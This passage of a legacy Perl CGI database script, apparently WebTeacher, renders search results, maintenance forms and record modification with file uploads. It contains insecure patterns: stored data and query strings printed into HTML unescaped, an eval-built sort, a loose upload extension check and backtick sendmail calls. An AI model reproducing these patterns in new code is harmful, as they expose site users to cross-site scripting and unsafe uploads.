  2954.   $totalBytes=0;
  2955.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  2956.   open(LOGFILE,"<$logfile") or &error("Could not open $logfile");
  2957.   while (<LOGFILE>) {
  2958.     $byteCount{$sortcount}=$totalBytes;
  2959.     $totalBytes+=length($_);
  2960.     $line=$_;
  2961.     my @data=split(/::/,$line);
  2962.     unless (&isMatch(@data)) {next};
  2963.     push(@entries,$line);
  2964.     $val=lc($data[$reportSort]);
  2965.     if ($val=~/^[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]*$/) {$val=&datetonum($val)};
  2966.     if ($val=~/[a-zA-Z]/) {$textsort=1;$val=~s/[^a-zA-Z0-9]//g};
  2967.     if ($val=~/^[\d\ú\$\,\. ]+$/) {$val=~s/[\ú\$\, ]//g};
  2968.     $sortarray{$sortcount}=$val;
  2969.     
  2970.     $val2=lc($data[$reportSort2]);
  2971.     if ($val2=~/^[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]*$/) {$val2=&datetonum($val2)};
  2972.     if ($val2=~/[a-zA-Z]/) {$textsort2=1;$val2=~s/[^a-zA-Z0-9]//g};
  2973.     if ($val2=~/^[\d\ú\$\,\. ]+$/) {$val2=~s/[\ú\$\, ]//g};
  2974.     $sortarray2{$sortcount}=$val2;
  2975.     $sortcount++;
  2976.   }
  2977.  
  2978.   
  2979.   if ($reportOrder==1) {$bottom="\$a";$top="\$b"} else
  2980.     {$top="\$a";$bottom="\$b"};
  2981.   if ($textsort) {$oper="cmp"} else {$oper="<=>"};
  2982.   
  2983.   if ($reportOrder2==1) {$bottom2="\$a";$top2="\$b"} else
  2984.     {$top2="\$a";$bottom2="\$b"};
  2985.   if ($textsort2) {$oper2="cmp"} else {$oper2="<=>"};
  2986.   
  2987.   eval('@sortarray=sort {
  2988.   $sortarray{'.$top.'} '.$oper.' $sortarray{'.$bottom.'}
  2989.   or $sortarray2{'.$top2.'} '.$oper2.' $sortarray2{'.$bottom2.'}
  2990. } keys %sortarray;');
  2991.   
  2992.   undef %sortarray;
  2993.   undef %sortarray2;
  2994.   undef $line;
  2995.   undef $val;
  2996.   undef $val2;
  2997.   undef @data;
  2998.   undef $totalBytes;
  2999.   undef $top;
  3000.   undef $oper;
  3001.   undef $bottom;
  3002.   undef $top2;
  3003.   undef $oper2;
  3004.   undef $bottom2;  
  3005.  
  3006.   $date=0;
  3007.   $numfound=$#sortarray+1;
  3008.   $min=($pagenum-1)*$reportLines;
  3009.   $max=$pagenum*$reportLines;
  3010.   if ($max>$numfound) {$max=$numfound};
  3011.   
  3012.   #begin header
  3013.   if ($numfound>0) {
  3014.     $header= "<TR";
  3015.     $header.= " bgColor=\"$headerColor\"" if length($headerColor)>0;
  3016.     $header.= ">";
  3017.     if ($reportForm==1) {$header.="<TH></TH>";};
  3018.     foreach (@sequence) {
  3019.       &gettype($types[$_]);
  3020.       if ($type!~/variance/) {
  3021.     $sortquery=$querystring;
  3022.     $sortnum=$_+1;
  3023.     $sortquery=~s/pagenum=\d*//g;
  3024.     $sortquery.="\&pagenum=1";
  3025.     $sortquery=~s/\&?cgisort=\d*//g;
  3026.     $sortquery=~s/\&?cgisortorder=\d//g;
  3027.     $sortquery.="\&cgisort=$sortnum";
  3028.     if ($user_data{cgisort}==$sortnum) {
  3029.       $newsort=abs($user_data{cgisortorder}-1);
  3030.     } else {
  3031.       $newsort=0;
  3032.     }
  3033.     $sortquery.="\&cgisortorder=$newsort";
  3034.     $sortquery=~s/\&\&+/\&/;
  3035.     $header .= qq(<TH><A HREF="$cgilocation\?$sortquery"><FONT $tableFont>$fields[$_]</FONT></TH>);
  3036.       } else {
  3037.     push(@varaincefields,$fields[$_]);
  3038.       }
  3039.     };
  3040.     $header.="<TH>Options - Qty - Cart</TH>" if $useCart;
  3041.     $header.="</TR>";
  3042.     print  "$header\n" if !$searchTemplateOn;
  3043.   }
  3044.   #end header
  3045.   for ($count=$min;$count<$max;$count++) {
  3046.     
  3047.     #***** DISPLAY THE LINE ****************
  3048. #    seek LOGFILE,$byteCount{$sortarray[$count]},0;
  3049.     $line=$entries[$sortarray[$count]];
  3050.     @data=split('::',$line);
  3051.     chomp(@data);
  3052.     $id=$data[0];
  3053.     shift(@data); #**Remove hidden key from view**
  3054.     $owner=pop(@data); #**Remove membername from view**
  3055.     chomp($owner);
  3056.     if (!$searchTemplateOn) {
  3057.       #ALTERNATE TABLE COLORS
  3058.       if ($alt==0) {
  3059.     $alt=1;
  3060.     print "\n<TR";
  3061.     print " bgColor=\"$rowColor1\"" if length($rowColor1)>0;
  3062.     print ">";
  3063.       } else {
  3064.     $alt=0;
  3065.     print "\n<TR";
  3066.     print " bgColor=\"$rowColor2\"" if length($rowColor2)>0;
  3067.     print ">";
  3068.       }
  3069.       
  3070.       if ($reportForm==1) {
  3071.     if (length($viewButtonImage)>0) {
  3072.       print "<TD><A HREF=\"javascript:viewform($id)\">";
  3073.       print "<IMG SRC=\"$viewButtonImage\" BORDER=0></A></TD>";
  3074.     } else {
  3075.       print "<form>";
  3076.       if (length($user_data{cgilanguage})>0) {
  3077.         print "<INPUT TYPE=HIDDEN NAME=\"cgilanguage\" VALUE=\"$user_data{cgilanguage}\">\n";
  3078.       } 
  3079.       print "<TD><input type=button value=\"$viewButtonLabel\"";
  3080.       print " onClick=\"viewform($id)\"></TD></form>"; 
  3081.     };
  3082.       };
  3083.       
  3084.       #***** BEGIN DISPLAY DATA LOOP *******
  3085.       foreach (@sequence) {
  3086.     $n=$data[$_];
  3087.     $n=~s/\r/<BR>/g;
  3088.     if ($n eq "") {$n=' ';};
  3089.     $n=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A HREF=mailto:$1>$1<\/A>/g;
  3090.     if ($n=~/^([^ ]+\.(gif|jpg))$/i) {
  3091.       $n="<IMG SRC=$1>"
  3092.     } else {
  3093.       &gettype($types[$_]);
  3094.       if ($type eq "upload") {
  3095.                 @filenameparts=split('_',$n);
  3096.                 shift(@filenameparts);
  3097.                 shift(@filenameparts);
  3098.                 $filename=join('_',@filenameparts);
  3099.         $n=~s/^(http[^ \<\>]+)/<A HREF=$1>$filename<\/A>/g;
  3100.       } else {
  3101.         $n=~s/^(http[^ \<\>]+)/<A HREF=$1>$1<\/A>/g;
  3102.       }
  3103.     };
  3104.     
  3105.     unless ($type=~/variance/) {
  3106.       print "<TD><FONT $tableFont>$n</FONT></TD>";
  3107.     };
  3108.       };
  3109.     } else {
  3110.       @escape=();
  3111.       foreach (@data) {
  3112.     $tempescape=escape($_);
  3113.     push(@escape,$tempescape);
  3114.       }
  3115.       #BEGIN SEARCHTEMPLATE SUBSTITUTION
  3116.       if (!$templateNoSubstitute) {
  3117.     $uploadcount=1;
  3118.     foreach (@data) {
  3119.       &gettype($types[$uploadcount]);
  3120.       s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A HREF=mailto:$1>$1<\/A>/g;
  3121.       if ($_!~/\.(gif|jpg)$/) {
  3122.         if ($type eq "upload") {
  3123.           @filenameparts=split('_',$_);
  3124.           $filename=@filenameparts[$#filenameparts];
  3125.           $_=~s/^(http[^ \<\>]+)/<A HREF=$1>$filename<\/A>/g;
  3126.         } else {
  3127.           s/^(http[^ ]+)/<A HREF=$1>$1<\/A>/g;
  3128.         };
  3129.       };
  3130.       s/^([^ ]+\.(gif|jpg))$/\<IMG SRC=$1\>/g;
  3131.       $uploadcount++;
  3132.     };
  3133.       };
  3134.       $dateCreated=&getDate($id);
  3135.       $template=$searchTemplate;
  3136.       $template=~s/(\$if[^\}]*\})/&getIf($1)/ge;
  3137.       $template=~s/\$fields\[(\d+)\]/$fields[$1]/g;
  3138.       $template=~s/\$data\[(\d+)\]/$data[$1]/g;
  3139.       $template=~s/\$escape\[(\d+)\]/$escape[$1]/g;
  3140.       if (length($viewButtonImage)>0) {
  3141.     $template=~s/\$viewbutton/<A HREF=\"javascript:viewform($id)\"><IMG SRC=\"$viewButtonImage\" BORDER=0><\/A>/;
  3142.       } else {
  3143.     $template=~s/\$viewbutton/\<form><input type=button value=\"$viewButtonLabel\" onClick=\"viewform($id)\"\><\/form>/;
  3144.       }
  3145.       $template=~s/\$id/$id/g;
  3146.       $template=~s/\$datecreated/$dateCreated/g;
  3147.       $template=~s/\$membername/$owner/g;
  3148.       if ($useCart) {
  3149.     $tmp=&wtcart::addButton("cart$count");
  3150.     $template=~s/\$addbutton/<FORM NAME=\"cart$count\">$tmp<\/FORM>/g;
  3151.       }
  3152.       print ($template);
  3153.     }
  3154.     #***** END DISPLAY DATA LOOP *********
  3155.     if (($useCart)&&(!$searchTemplateOn)) {
  3156.       print "<FORM NAME=\"cart$count\"><TD VALIGN=middle>";
  3157.       print &wtcart::addButton("cart".$count);
  3158.       print "</TD></FORM>";
  3159.     }
  3160.     
  3161.     print "</TR>" if !$searchTemplateOn;
  3162.   };
  3163.   
  3164.   
  3165.   if (!$searchTemplateOn) {
  3166.     print "\n</TABLE>\n";
  3167.   }
  3168.   $count=$#sortarray+1;
  3169.  
  3170.   close (LOGFILE);
  3171.   &removelock; #remove lock file  
  3172.  
  3173.   print "<BR>$reportFooter<BR>\n";
  3174.   if ($count>0) {
  3175.     print " 
  3176. <SCRIPT LANGUAGE=JavaScript> 
  3177. function viewform(id) { 
  3178. document.vf.fid.value=\"\"+id\; 
  3179. document.vf.submit()\; 
  3180. </SCRIPT> 
  3181. <FORM NAME=\"vf\" ACTION=\"$cgilocation\" METHOD=GET> ";
  3182.     if (length($user_data{cgilanguage})>0) {
  3183.       print "<INPUT TYPE=HIDDEN NAME=\"cgilanguage\"
  3184.   VALUE=\"$user_data{cgilanguage}\">\n";
  3185.     } 
  3186.     print "
  3187. <INPUT TYPE=HIDDEN NAME=\"fid\"> 
  3188. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\"> 
  3189. <INPUT TYPE=HIDDEN NAME=\"cgifunction\" VALUE=\"form\"> 
  3190. </FORM>\n"; 
  3191.     $min++;
  3192.     if ($max>$count) {$max=$count};
  3193.     print "
  3194. <B>$lang_results $min - $max $lang_of $count</B> 
  3195. <table border=0 cellspacing=10 cellpadding=0><TR><TD>
  3196. ";
  3197.     if ($nextprevButtons) {
  3198.       if ($min>1) {print "
  3199.  
  3200. <FORM ACTION=\"$cgilocation\" METHOD=POST>";
  3201.            if (length($user_data{cgilanguage})>0) {
  3202.              print "<INPUT TYPE=HIDDEN NAME=\"cgilanguage\"
  3203.   VALUE=\"$user_data{cgilanguage}\">\n";
  3204.            }            
  3205.            print "
  3206. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  3207. <INPUT TYPE=HIDDEN NAME=\"pagenum\" VALUE=\"$pagenum\">
  3208. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" value=\"$previouspage\">
  3209. </FORM>
  3210. ";};
  3211.       if ($max<$count) {print "
  3212. <TD>
  3213. <FORM ACTION=\"$cgilocation\" METHOD=POST>";
  3214.             if (length($user_data{cgilanguage})>0) {
  3215.               print "<INPUT TYPE=HIDDEN NAME=\"cgilanguage\"
  3216.   VALUE=\"$user_data{cgilanguage}\">\n";
  3217.             } 
  3218.             print "
  3219. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  3220. <INPUT TYPE=HIDDEN NAME=\"pagenum\" VALUE=\"$pagenum\">
  3221. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" value=\"$nextpage\">
  3222. </FORM>
  3223.      "};
  3224.     };
  3225.     #CREATE LINKS TO ANY PAGENUMBER
  3226.     if ($gotoPage) {
  3227.       print "<TR><TD>$gotopage\: ";  
  3228.       $numpages=int($count/$reportLines);
  3229.       $myquery=$querystring;
  3230.       if ($count/$reportLines>$numpages) {$numpages++;};
  3231.       for ($i=1;$i<=$numpages;$i++) {
  3232.     if ($pagenum==$i) {
  3233.       print "<FONT><B>$i </B></FONT>";
  3234.     } else {
  3235.       if ($numpages>50) {
  3236.         $difference=abs($i-$pagenum);
  3237.         if (
  3238.         ($difference<=5) or
  3239.         ($i==1) or
  3240.         ($i==$numpages) or
  3241.         (($i/10==int($i/10)) and ($difference<=50)) or
  3242.         (($i/100==int($i/100)) and ($difference<=500)) or
  3243.         (($i/1000==int($i/1000)) and ($difference<=5000)) or
  3244.         ($i/10000==int($i/10000))
  3245.            ) {
  3246.           $myquery=~s/pagenum=[0-9]*/pagenum=$i/;
  3247.           if ($difference<=5) {
  3248.         $sizetag=qq(<FONT SIZE=-1>);
  3249.         $sizetag2=qq(</FONT>);
  3250.           } else {
  3251.         $sizetag="";$sizetag2="";
  3252.           }
  3253.           print "<A HREF=\"$cgilocation\?$myquery\">${sizetag}${i}$sizetag2</A> ";
  3254.         }
  3255.       } else {
  3256.         $myquery=~s/pagenum=[0-9]*/pagenum=$i/;
  3257.         print "<A HREF=\"$cgilocation\?$myquery\">${sizetag}${i}$sizetag2</A> ";
  3258.       }
  3259.     }
  3260.       }
  3261.     };
  3262.   } else {
  3263.     print "<B>$noresultswerefound</B><P>";
  3264.   };
  3265.   if
  3266.     ((length($user_data{cgilanguage})>0)&&($searchPage=~/cgifunction=user$/))
  3267.       {
  3268.     $searchPage.="\&cgilanguage=$user_data{cgilanguage}";
  3269.       }
  3270.   print "<TD><A HREF=\"$searchPage\"><B>$searchagain</B></A>\n" if $searchAgain;
  3271.   print "<TD><A HREF=\"$homepage\"><B>$returntohomepage</B></A>\n" if $returnToHomepage;
  3272.   print "</TABLE>";
  3273.   &wtcart::footer_cart_buttons if $useCart;
  3274.   print "\n<BR>$reportPageFooter<BR>\n";
  3275.   print "<P><font size=-1><I>$poweredbywebteacher</I></font>";
  3276. };
  3277. #*********END OF USERSEARCH SUBROUTINE************
  3278.  
  3279.  
  3280. #*********BEGIN MAINTENANCE SUBROUTINE********
  3281. sub maintenance {
  3282.   &memberpass;
  3283.   pop(@value);
  3284.   
  3285.   $maintenanceTemplateOn=(($maintenanceTemplateOn)&&($userid ne "admin"));
  3286.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  3287.   open(READLOG,"<$logfile") or &error("Could not open $logfile");
  3288.   @entries = <READLOG>;
  3289.   close READLOG;
  3290.   &removelock; #remove lock file
  3291.   foreach $line (@entries) {
  3292.     @data = split(/::/,$line);
  3293.     if ($data[0] eq $value[0]) {
  3294.       
  3295.       @fields=();
  3296.       @types=();
  3297.       open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  3298.       @fieldsData=<FIELDS>;
  3299.       close FIELDS;
  3300.       foreach (@fieldsData) {
  3301.     ($field,$type)=split(/::/);
  3302.     push(@fields,"$field\n");
  3303.     push(@types,"$type");
  3304.         $usemulti=1 if $type=~/upload/;
  3305.       };
  3306.       
  3307.       shift(@fields);
  3308.       shift(@types);
  3309.       print "
  3310. <SCRIPT>
  3311. function del() {
  3312. if (confirm(\"Are you sure you want to delete this entry?\")) {
  3313. document.form1.cgifunction.value=\"delete\"\;
  3314. document.form1.submit()\;
  3315. }}
  3316.  
  3317. function modify() {
  3318. document.form1.cgifunction.value=\"modify\"\;
  3319. document.form1.submit()\;
  3320. }
  3321.  
  3322. function preview() {
  3323. document.form1.cgifunction.value=\"form\"\;
  3324. document.form1.submit()\;
  3325. }
  3326.  
  3327. function datecheck(cell) {
  3328.   text=cell.value\;
  3329.   slash=text.lastIndexOf(\"/\")\;
  3330.   year=parseInt(text.substring(slash+1,99))\;
  3331.   if (year<=50) {year=year+2000}\;
  3332.   if ((year>50)&&(year<=99)) {year=year+1900}\;
  3333.   result = text.substring(0,slash+1)+year\;
  3334.   cell.value=result\;
  3335. }
  3336.  
  3337. function goadmin() {
  3338. document.form1.cgifunction.value=\"";
  3339.       if ($userid eq "admin") {
  3340.     print "admin";
  3341.       } else {
  3342.     print "memberpage"
  3343.       };
  3344.       print "\"\;
  3345. document.form1.submit()\;
  3346. }
  3347. </SCRIPT>
  3348.  
  3349.  
  3350. <HEAD><TITLE>Modify or delete record</TITLE></HEAD>\n";
  3351.       &bodytag;
  3352.       print "<H1 align=center> Maintenance Page </H1>
  3353. <form name=\"form1\" action=\"$cgilocation\" method=post";
  3354.       print " ENCTYPE=\"multipart/form-data\"" if $usemulti==1;
  3355.       print ">";
  3356.       print "<TABLE BORDER=0>" if !$maintenanceTemplateOn;
  3357.       
  3358.       
  3359.       $num = @fields;
  3360.       $id=$data[0];
  3361.       $owner=$data[$#_];
  3362.       print "<TR><TD><B>ID</B></TD><TD>" if !$maintenanceTemplateOn;
  3363.       print "<input type=hidden name=\"ID\" value=\"$id\">";
  3364.       print "<B>$id</TD></TR>\n" if !$maintenanceTemplateOn;
  3365.       $dateCreated=&getDate($id);
  3366.       print "<TR><TD><B>Date Created</B></TD><TD>$dateCreated</TD></TR>\n" if !$maintenanceTemplateOn;
  3367.       shift(@data);
  3368.       $ftcount=0;
  3369.       $hiddenfields="";
  3370.       foreach $field (@fields) {
  3371.     $data[$ftcount]=~s/\"/\"\;/g;
  3372.     &gettype($types[$ftcount]);
  3373.     chop($field);
  3374.     $pf=&printField($type,$field,$data[$ftcount]);
  3375.     if (!$maintenanceTemplateOn) {
  3376.       print "<TR><TD><B>$field</B></TD><TD>";
  3377.       print "$pf";
  3378.       print "</TD></TR>\n";
  3379.     } else {
  3380.       if ($maintenanceTemplate!~/\$field\[$ftcount\]/) {
  3381.         $hiddenfields.="<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$data[$ftcount]\">\n";
  3382.       }
  3383.       $maintenanceTemplate=~s/(\$if[^\}]*\})/&getIf($1)/ge;
  3384.       $maintenanceTemplate=~s/\$field\[$ftcount\]/$pf/g;
  3385.       $maintenanceTemplate=~s/\$data\[$ftcount\]/$data[$ftcount]/g;
  3386.       $maintenanceTemplate=~s/\$id/$id/g;
  3387.       $maintenanceTemplate=~s/\$datecreated/$dateCreated/g;
  3388.       $maintenanceTemplate=~s/\$membername/$owner/g;
  3389.     }
  3390.     
  3391.     $ftcount++;
  3392.       };
  3393.  
  3394.       print "$maintenanceTemplate\n$hiddenfields<P>" if $maintenanceTemplateOn;
  3395.  
  3396.       if ($userid eq "admin") {
  3397.     print "<TR><TD><font color=orange><B>Owned By</B></font></TD><TD>";
  3398.     &putlock;
  3399.     open(FILE,"<$members");
  3400.     @members=<FILE>;
  3401.     close FILE;
  3402.     &removelock;
  3403.     chomp($owner);
  3404.     print qq(<SELECT NAME="cgiRecordOwner"><OPTION);
  3405.     print " SELECTED" if $owner eq "admin";
  3406.     print qq(>admin</OPTION>\n);
  3407.     foreach (@members) {
  3408.       ($membername,$pass)=split('::');
  3409.       next unless length($membername);
  3410.       print qq(<OPTION);
  3411.       print " SELECTED" if $owner eq $membername;
  3412.       print qq(>$membername</OPTION>\n);
  3413.     }
  3414.     print qq(</SELECT>);
  3415.     print "</TD></TR>\n";
  3416.       }
  3417.            
  3418.       if (!$maintenanceTemplateOn) {print "<TR><TD colspan=4>"} else {print "<BR>"};
  3419.       print "
  3420. You must click \"modify\" to save your changes.<BR>
  3421. <input type=button value=\"Modify\" onClick=\"modify()\">
  3422. <input type=button value=\"Delete\" onClick=\"del()\">";
  3423.       print "<input type=button value=\"Show form view\" onClick=\"preview()\">" if $reportForm;
  3424.       print "<input type=hidden name=\"fid\" value=\"$id\">
  3425. <input type=hidden name=\"query\" value=\"$querystring\">
  3426. <input type=hidden name=\"cgifunction\">";
  3427.       print "</TD></TR>\n</TABLE>" if !$maintenanceTemplateOn;
  3428.       print "\n</FORM>
  3429.  
  3430. <h3>\"Modify\" will save the record with the new values.<BR>\"Delete\" will remove the record from the table.";
  3431.       if ($reportForm) {
  3432.     if (length($viewButtonImage)) {
  3433.       $viewButtonLabel=qq(<IMG SRC="$viewButtonImage">);
  3434.     }
  3435.     print "<BR>\"Show form view\" will show you how this record looks when a visitor clicks the \"$viewButtonLabel\" button.";
  3436.       }
  3437.       print "</h3>";
  3438.       
  3439.       if (!$limitMembers) {
  3440.     print "<A HREF=\"javascript:goadmin()\">Return to Administration Page</A><P>";
  3441.       };
  3442.       
  3443.       print "
  3444. <A HREF=\"$homepage\">
  3445. Return to home page</A>
  3446. ";    
  3447.     };
  3448.   };
  3449. };
  3450. #*********END MAINTENANCE SUBROUTINE*******
  3451.  
  3452. #**BEGIN PRINT FIELD
  3453. sub printField {
  3454. local ($type,$field,$data)=@_;
  3455.       if ($type eq "text") {
  3456.             return "<input type=$type name=\"$field\" size=$typesize value=\"$data[$ftcount]\">";
  3457.       };
  3458.    if ($type eq "upload") {
  3459.          local $result= "<input type=hidden name=\"$field\" value=\"$data[$ftcount]\">";
  3460.          if ($data=~/\.(gif|jpg)$/) {
  3461.             $result.= "<IMG SRC=\"$data\" align=left>\n";
  3462.          } else {
  3463.                 @filenameparts=split('_',$data);
  3464.                 $filename=@filenameparts[$#filenameparts];
  3465.                 $data=~s/^(http[^ \<\>]+)/<A HREF=$1><B>$filename<\/B><\/A>/g;
  3466.                 $result.= "$data\n";
  3467.          }            
  3468.          $result.= "<input type=file name=\"${field}_upload\">\n";
  3469.      $result.= "delete this file <input type=checkbox name=\"${field}_delete\">\n" if length($data);
  3470.      return $result;
  3471.    };
  3472.       if ($type eq "checkbox") {
  3473.             local $result= "<input type=$type name=\"$field\" value=\"yes\"";
  3474.           if ($data eq "yes") {$result.= " CHECKED"};
  3475.           $result.= ">";
  3476.         return $result;
  3477.       };
  3478.       if ($type eq "list") {
  3479.         local $isInList=0;
  3480.         local $result= "<SELECT NAME=\"$field\" SIZE=1>\n";
  3481.         $result.= "<OPTION VALUE=\"\">\n";
  3482.         foreach (@typelistvals) {
  3483.           $result.= "<OPTION";
  3484.           if ($_ eq $data) {
  3485.         $result.= " SELECTED";
  3486.         $isInList=1;
  3487.           }
  3488.           $result.= ">$_</OPTION>\n";
  3489.         };
  3490.         if (!$isInList) {
  3491.           $result.= "<OPTION SELECTED>$data</OPTION>\n";
  3492.         };
  3493.         $result.= "</SELECT>\n";
  3494.         return $result;
  3495.       };
  3496.       if ($type eq "comment") {
  3497.         $data=~s/<BR>/\n/g;
  3498.         return "<TEXTAREA NAME=\"$field\" COLS=60 ROWS=$typerows WRAP=\"VIRTUAL\">$data</TEXTAREA>\n";
  3499.       };
  3500.       if ($type eq "variance") {
  3501.            $result = "
  3502. <small>Enter each option with a comma in-between.</small><BR>
  3503. <input type=text name=\"$field\" size=80 VALUE=\"$data\">\n";
  3504.            return $result;
  3505.       };
  3506.       if ($type eq "price-variance") {
  3507.            $result = "
  3508. <small>Alternate option and price with a comma in-between.<BR>
  3509. for example: small,9.95,medium,12.95,large,15.95,X-large,18.95</small><BR>
  3510. <input type=text name=\"$field\" size=80 VALUE=\"$data\">\n";
  3511.            return $result;
  3512.       };
  3513.  
  3514.     };
  3515. #**END PRINT FIELD
  3516.  
  3517. #*********BEGIN GET DATE SUBROUTINE********
  3518. sub getDate {
  3519.   local ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime($_[0]);
  3520.   $mon++;
  3521.   $year+=1900;
  3522.   local $result;
  3523.   if ($europeanDates) {$result="$mday/$mon/$year"} else {$result="$mon/$mday/$year"}
  3524.   return $result;
  3525. }
  3526. #*********END GET DATE SUBROUTINE
  3527.  
  3528. #**** BEGIN MODIFY SUBROUTINE *****
  3529. sub modify {
  3530. &memberpass;
  3531. pop(@value);
  3532. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  3533. open(READLOG,"<$logfile") or &error("Could not open $logfile");
  3534. @entries = <READLOG>;
  3535. close READLOG;
  3536. &removelock; #remove lock file
  3537. foreach $item (@value) {
  3538.     $item=~s/^( *)//ge;   # remove leading spaces from entries
  3539.     $item=~s/::/'::'/ge;  # replace delimiting character from entries
  3540.     $item=~s/\r/\n/g;
  3541.     $item=~s/\n\n/\n/g;
  3542.     $item=~s/\n/<BR>/g;
  3543. };
  3544. @fields=();
  3545. @types=();
  3546. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  3547. @fieldsData=<FIELDS>;
  3548. close FIELDS;
  3549. foreach (@fieldsData) {
  3550.     ($field,$type)=split(/::/);
  3551.     push(@fields,"$field\n");
  3552.     push(@types,"$type");
  3553. };
  3554. shift(@fields);
  3555. chomp(@fields);
  3556. shift(@types);
  3557. $missingReqs=0;
  3558. $reqnum=0;
  3559. $reqerror="";
  3560. $uploadcount=0;
  3561. foreach(@fields) {
  3562.    &gettype($types[$uploadcount]);
  3563.    $fname=$_;
  3564.    if ((length($user_data{$fname})==0)&&($reqfields=~/(^|\,)$reqnum($|\,)/)) {
  3565.      $reqerror.="<B>$fname</B> is a required field.<P>";
  3566.      $missingReqs=1;
  3567.    }
  3568.    #UPLOAD IF IT IS AN UPLOAD FIELD
  3569.     $upname="${fname}_upload";
  3570.     if (($type eq "upload")&&(length($user_data{$upname})>0)) {
  3571.       $deletename="${uploadsdir}${value[0]}_${fname}";
  3572.       unlink <$deletename*>;
  3573.       if ($user_data{$upname}=~/([^\\\/\:]+$)/) {$INfilename=lc($1)};
  3574.           $INfilename=~s/[^a-zA-Z0-9\_\.]//g;
  3575.           if ($INfilename=~/\.([a-zA-Z0-9]+)$/) {$extension=$1};
  3576.           if ($typeexts!~/,*${extension},*/i) {
  3577.         &error("Only the following filetypes are allowed. $typeexts");
  3578.       }
  3579.       $OUTfilename="${value[0]}_${fname}_${INfilename}";
  3580.       $user_data{$fname}="${uploadsURL}$OUTfilename";
  3581.       $uploadsize=0;
  3582.       @filecontents=();
  3583.       while ($bytesread=read($user_data{$upname},$buffer,1024)) {
  3584.         $uploadsize+=length($buffer);
  3585.         push(@filecontents,$buffer);
  3586.       }
  3587.     
  3588.       if ($uploadsize>$typesize*1000) {
  3589.         &error("upload size = $uploadsize bytes.<P>The upload can only be a maximum of ${typesize}KB")
  3590.       };
  3591.       open (OUTFILE,">${uploadsdir}${OUTfilename}") or &error("Could not open ${uploadsdir}$OUTfilename for writing");
  3592.       binmode(OUTFILE);
  3593.       print OUTFILE (@filecontents);
  3594.       close OUTFILE;
  3595.       close ($user_data{$upname});
  3596.     }
  3597.    if (($type eq "upload")&&($user_data{"${fname}_delete"} eq "on")&&(!length($user_data{$upname}))) {
  3598.       $deletename="${uploadsdir}${value[0]}_${fname}";
  3599.       unlink <$deletename*>;
  3600.       $user_data{$fname}="";
  3601.    }
  3602.     
  3603.     #END UPLOAD
  3604. $uploadcount++;
  3605. $reqnum++;
  3606. }
  3607. if ($missingReqs) {
  3608.   &bodytag;
  3609.   print "Your record was not added for the following reasons:<P>\n";
  3610.   print "$reqerror";
  3611.   print qq(<A HREF="javascript:history.go(-1)">Return to previous page</A>);
  3612.   exit;
  3613. }
  3614.  
  3615. foreach $line (@entries) {
  3616.         @data=split(/::/,$line);
  3617.       $len=@data;
  3618.       $owner=$data[$len-1];
  3619.       chop($owner);
  3620.         if ($data[0] eq $value[0]) {
  3621.         if (($owner eq $userid)||($userid eq "admin")) {
  3622.         @value=($data[0]);
  3623.         $fcount=1;
  3624.         foreach (@fields) {
  3625.             chop($_) if (/\n$/);
  3626.             $value[$fcount]=$user_data{$_};
  3627.             $fcount++;
  3628.         };
  3629.         foreach $item (@value) {
  3630.             $item=~s/^( *)//ge;   # remove leading spaces from entries
  3631.             $item=~s/::/'::'/ge;  # replace delimiting character from entries
  3632.             $item=~s/\r/\n/g;
  3633.             $item=~s/\n\n/\n/g;
  3634.             $item=~s/\n/<BR>/g;
  3635.         };
  3636.         if (($userid eq "admin")&&(length($user_data{cgiRecordOwner}))) {
  3637.           $owner=$user_data{cgiRecordOwner};
  3638.         }
  3639.             push(@value,$owner);
  3640.                 $line=join("::",@value)."\n";
  3641.           };
  3642.         };
  3643. };
  3644. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  3645. open(PUTLOG,">$logfile") or &error("Could not open $logfile");
  3646. print PUTLOG (@entries);
  3647. close PUTLOG;
  3648. &removelock; #remove lock file.
  3649.   $dateCreated=&getDate($value[0]);
  3650.   $body="This record was first created on $dateCreated\n\n";
  3651. foreach (@fields) {$body.="$_ = $user_data{$_}\n"};
  3652.   if (length($email)>0) {
  3653.     if ($^O=~/win/i) {
  3654.       open (MAIL,">${uploadsdir}mail.txt");
  3655.       print MAIL ("$body\n");
  3656.       close MAIL;
  3657.       $tmp=`$sendmail ${uploadsdir}mail.txt -s \"New Record Added to Database\" -t $email -q`;
  3658.     } else {
  3659.       open (MAIL,"|$sendmail -t") or &error("Could not open $sendmail");
  3660.       print MAIL ("To: $email\nFrom: $email\n");
  3661.       print MAIL ("Subject:New Record Added or Modified to Database\n$body\n");
  3662.       close MAIL;
  3663.     }
  3664.   }
  3665. @value=();
  3666. if (($limitmembers)&&($userid ne "admin")) {
  3667.   print qq(<SCRIPT>
  3668.        alert('Thank you for your submission. Your changes have been added to the database');
  3669.        </SCRIPT>
  3670.       );
  3671. }
  3672.  
  3673. if ($userid eq "admin") {&admin} else {&memberpage};
  3674. };
  3675. #***** END MODIFY SUBROUTINE*******
  3676.  
  3677.  
  3678. #******* BEGIN DELETE SUBROUTINE ******
  3679. sub delete {
  3680. &memberpass;
  3681. pop(@value);
  3682. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  3683. open(READLOG,"<$logfile") or &error("Could not open $logfile");
  3684. @entries = <READLOG>;
  3685. close READLOG;
  3686. &removelock; #remove lock file
  3687.  
  3688. foreach $line (@entries) {
  3689.         @data=split(/::/,$line);
  3690.       $len=@data;
  3691.       $owner=$data[$len-1];
  3692.       chop($owner);
